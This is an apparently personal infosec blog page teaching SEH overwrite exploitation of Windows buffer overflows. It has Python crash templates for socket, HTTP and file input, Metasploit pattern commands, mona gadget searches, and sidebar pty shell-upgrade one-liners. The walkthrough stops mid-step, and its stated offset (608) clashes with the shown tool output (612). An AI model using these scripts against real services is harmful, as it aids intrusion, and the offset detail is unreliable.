akde/infosec

Information security is ultimately about managing risk


  • Assume you have a buffer over­flow vul­ner­a­bil­i­ty.
  • You can con­trol the EIP.
  • But your shell­code is nev­er executed.
  • Your shell­code is exe­cut­ed when a ret instruc­tion is exe­cut­ed which calls the address you overwrite.
  • But maybe the ret at the end of the func­tion where the buffer over­flow occurs is nev­er reached, because you over­wrote the buffer which is also used in oth­er vari­ables / func­tions which are exe­cut­ed after the buffer over­flow vul­ner­a­bil­i­ty and before the ret instruction.
  • For exam­ple, you over­wrote an address which is called from a func­tion before the func­tion’s ret — but this address is now over­writ­ten with garbage.
  • Then, an excep­tion is thrown and your code is nev­er executed.
  • In such a case, we can over­write the SEH Struc­tured Exep­tion Han­dler to gain code execution.

The SEH Structured Exception Handler

If an excep­tion occurs, Win­dows will go through a chain of excep­tion han­dlers, which are defined by the appli­ca­tion. If the chain comes to an end, a final excep­tion han­dler from Win­dows is called, which will ter­mi­nate the pro­gram. The address­es of the excep­tion han­dlers are on the stack and can be overwritten.

The fol­low­ing dia­gram shows the struc­ture of the SEH in the mem­o­ry. The SEH con­sists out of n sep­a­rate excep­tion han­dlers. Our goal is to over­write the point­er of the first SEH to own inject­ed code.

SEH overflow walkthrough templates

Depend­ing on the input for the appli­ca­tion, here are three tem­plates to start with:

Overflow via a socket

#!/usr/bin/python

import socket
import time
import sys

ip = "10.10.10.10"
port = 8080

# Add here the command before the payload. In this case
# we write "SOME_FUCTION_NAME AAAAAAA..." to the socket.
prefix = "SOME_FUCTION_NAME "
overflow = "A" * 8192
buffer = prefix + overflow

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(buffer + "\r\n")

Overflow via a HTTP connection

#!/usr/bin/python

import socket
import time
import sys

ip = "10.10.10.10"
port = 8080

# Adapt the parameters for the server. In this case we send 8192 A's
# as username with a fixed password.
inputBuffer = "A" * 8192
content = "username=" + inputBuffer + "&password=A"

buffer = "POST /login HTTP/1.1\r\n"
buffer += "Host: 127.0.0.1\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox\r\n"
buffer += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer += "Connection: close\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: "+str(len(content))+"\r\n"
buffer += "\r\n"
buffer += content

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(buffer)
s.close()

Overflow via a file

# This only writes the payload. Of course you have to change this
# to output a valid file for your target program.
x = open('filename_with.suffix', 'w')
payload = ("A" * 8192)
x.write(payload)
x.close()

SEH overflow walkthrough

  1. Per­form a buffer over­flow with a tem­plate script from above and inspect the crash in a debug­ger. Look through the over­writ­ten mem­o­ry and note where the debug­ger shows that at this place a point­er to a SEH record should be. At this address, there was before the over­writ­ing the first SEH pointer.
  2. Deter­mine the posi­tion where the point­er to next SEH record starts rel­a­tive to your input. Use
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
    to get a pat­tern and use this as input instead. Exe­cute the buffer over­flow again. We see that now it crashed (in our exam­ple) at the address with val­ue 0x41347541.

    We ask pattern_offset where this val­ue starts in the gen­er­at­ed string and got off­set 608.
    /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1024 -q 41347541
    [*] Exact match at offset 612
  3. Now we need the address of a pop-pop-ret instruc­tion sequence (two pops because we need to go out of the SEH / remove the first two stack entries before our inject­ed address lies on the top of the stack ready to be exe­cut­ed by the last ret). For exam­ple, in mona:
    !mona seh ‑m your_library.dll
    This way we found some and choose one with­out acti­vat­ed secu­ri­ty flags like 0x64113f4c.
  4. f

Leave a Reply

About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';